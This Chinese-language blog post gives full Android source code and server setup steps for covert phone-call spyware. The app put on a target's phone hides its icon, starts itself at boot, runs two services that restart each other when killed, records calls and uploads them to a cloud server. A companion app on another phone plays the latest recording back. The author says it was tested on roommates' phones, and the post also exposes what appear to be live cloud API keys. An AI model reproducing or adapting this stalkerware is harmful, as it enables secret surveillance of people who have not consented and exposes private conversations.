【Qzone】黑色星期二 好煩躁 通話錄音 上傳服務器 下載播放 親測


2015-4-29 00:00

用自己手機和兩舍友手機測試,可行!!

需求:A想在自己手機上監聽聽到B手機與C手機的通話記錄。
分析:
    在B手機上安裝一個APP,那麼這個APP要求有如下功能
    1、隱藏圖標
    2、後臺一直運行,開機就運行
    3、任務管理器不能殺死,即使殺死也能重啓動服務
    4、有監聽電話狀態功能
    5、有錄音功能
    6、有將文件上傳到服務器的功能

而A手機上安裝的一個APP ,功能就需要的簡單一點:
    1、從服務器下載文件
    2、調用系統功能播放文件

那麼本次比較重要的就服務器端的搭建,搞了三天,不容易啊。

所以記錄一下步驟:
    (服務器端)
    1. 到 資源下載 頁面下載 後端應用 war 包;
    
2. 到 Sina App Engine 官網 (下稱SAE) 創建 一個Java應用; 
    3. 在 SAE 應用管理中的 代碼管理 中 新建版本 並將步驟1 下載作爲 默認war包上傳 ; 
    圖片
    
4. 到 SAE 服務管理中的 KVDB 頁面 點擊 啓用KVDB 數據庫 ; 
    
5. 到 SAE 服務管理中的 MySQL 頁面 點擊 啓用初始化MySQL ,並導入統計的SQL語句 ;
    圖片
    6. 到 SAE 應用信息中的 彙總信息 頁面中查看應用的accessKey和secretKey,並作爲登入後端應用的用戶名和密碼。
    (客戶端) 
  
    1. 到 資源下載 頁面下載 SDK 包; 
    
2. 將 步驟1 下載的包(一個核心包cloudservice.jar和 兩個依賴包 gson.jar httpmime.jar)導入開發的 Android 應用中; 
    3. 參見 SDK使用文檔 來開發 Android應用。 
    (參見網址:
http://cloudbaas.sinaapp.com/docs/started.jsp 

OK !!!上代碼

B手機上的APP:
--清單文件
--/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
    package="com.devwang.autoopenapp"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <!-- 隱藏圖標 -->
                <!-- <category android:name="android.intent.category.LAUNCHER" /> -->
            </intent-filter>
        </activity>

        <service android:name="com.devwang.autoopenapp.AutoOpenService" >
        </service>
        <service android:name="com.devwang.autoopenapp.AutoOpenServicer" >
        </service>

        <receiver android:name=".BootBroadcastReciver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

--佈局文件
--
/AutoOpenAppPhone/res/layout/activity_main.xml
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.autoopenapp.MainActivity" >

    <TextView
        android:id="@+id/tv"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:gravity="center"
        android:textSize="60sp"
        android:text="LOVE" />

</RelativeLayout>

--源代碼
--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
package com.devwang.autoopenapp;

import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.widget.TextView;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

TextView text = (TextView) findViewById(R.id.tv);
text.setText("LOVE!");

System.out.println("Service oncreate");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);

                //測試用 可不加 
finish();
}

}

--廣播接收者
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java 
package com.devwang.autoopenapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

//開機啓動完成的  廣播接受者 在這裏啓動APP Activity
public class BootBroadcastReciver extends BroadcastReceiver {
static final String ACTION = "android.intent.action.BOOT_COMPLETED";

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if (intent.getAction().equals(ACTION)) {
//自啓動界面
//Intent i = new Intent(context, MainActivity.class);
//i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//context.startActivity(i);
//自啓動服務
Intent i = new Intent(context, AutoOpenService.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(i);
}
}

}

--服務
--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
package com.devwang.autoopenapp;

import java.io.File;

import android.annotation.TargetApi;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD)
public class AutoOpenService extends Service {
// 電話管理器
private TelephonyManager tm;
// 監聽器對象
private MyListener listener;
// 聲明錄音機
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("Servicer ondestory");

}

private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候調用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空閒狀態。
if (mediaRecorder != null) {
// 8.停止捕獲
mediaRecorder.stop();
// 9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("錄製完畢,上傳文件到服務器。");

// if(file==null){
// System.out.println("null");
// }

System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態
// 開始錄音
// 1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
// 2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.設置錄製的文件輸出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定錄音文件的名稱
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.設置音頻的編碼
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.準備開始錄音
mediaRecorder.prepare();
// 7.開始錄音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Servicer ondestory");
Intent i = new Intent(this, AutoOpenServicer.class);
startService(i);
}

}

--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java 
package com.devwang.autoopenapp;

import java.io.File;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class AutoOpenServicer extends Service {

// 電話管理器
private TelephonyManager tm;
// 監聽器對象
private MyListener listener;
// 聲明錄音機
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";

final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

// 服務創建的時候調用的方法
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
System.out.println("Service onCreate");

}

private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候調用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空閒狀態。
if (mediaRecorder != null) {
// 8.停止捕獲
mediaRecorder.stop();
// 9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("錄製完畢,上傳文件到服務器。");

// 這裏簡單起見 只獲取最近一次的通話錄音 故在上傳之前 先將服務器端的刪除後再上傳
// if (file == null) {
// System.out.println("null");
// }
System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態
// 開始錄音
// 1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
// 2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.設置錄製的文件輸出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定錄音文件的名稱
// 這裏使用開始錄音的時間作爲文件名 爲方便起見我們固定設置一個文件名如aa.3pg
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.設置音頻的編碼
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.準備開始錄音
mediaRecorder.prepare();
// 7.開始錄音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

// 守護進程 在次方法中 本服務會被銷燬 此時可以啓動新的服務
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Service ondestory");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
}

}
 
A手機上的APP:
--清單文件
--
/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
    package="com.devwang.phoneplay"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".MainActivity2"
            android:label="@string/app_name" >
        </activity>
    </application>

</manifest>

--佈局文件
--
/PhonePlay/res/layout/activity_main.xml 
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.phoneplay.MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:textSize="40sp"
        android:text="播放" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="76dp"
        android:textSize="24sp"
        android:text="按播放按鈕,播放TA最近一次的通話錄音!" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignLeft="@+id/textView1"
        android:layout_alignParentTop="true"
        android:text="注意:TA的手機安裝好那個APP後要關機重啓"
        android:textSize="24sp" />

</RelativeLayout> 
--源代碼
--/PhonePlay/src/com/devwang/phoneplay/MainActivity.java
package com.devwang.phoneplay;

import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
final private String appname = "appsitejava";
final private String ak = "z1zmx2xxyj";
final private String sk = "wi00lw3xz2x054myl0142jkyiiizmwi125w0w204";
// final private String localpath = "sdcard/aa.3gp";
private Button play_btn;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 1.同步方式 獲取雲端路徑爲/text/readme.txt的文件
CloudFile file = null;
final String url;
try {
file = CloudFile.fetch("/sdcard/aa.3gp");
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
url = file.getUrl();// 通過這個url可以直接訪問雲端文件

play_btn = (Button) findViewById(R.id.button1);
play_btn.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
// TODO Auto-generated method stub
// 調用系統自帶播放器
Intent intent = new Intent();
Uri uri = Uri.parse(url);
intent.setDataAndType(uri, "audio/*");
intent.setAction(Intent.ACTION_VIEW);
startActivity(intent);

}
});
}

}



使用方法:
在B手機安裝B.apk 可以不要打開APP
將B手機關機重啓 
在A手機 安裝A.apk
B與C或其他手機通電話
A手機打開APP 點擊播放 OK 

問題:只能錄一方的聲音 即只能錄B方的聲音 

圖片
(換了個頭像 哈哈哈) 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章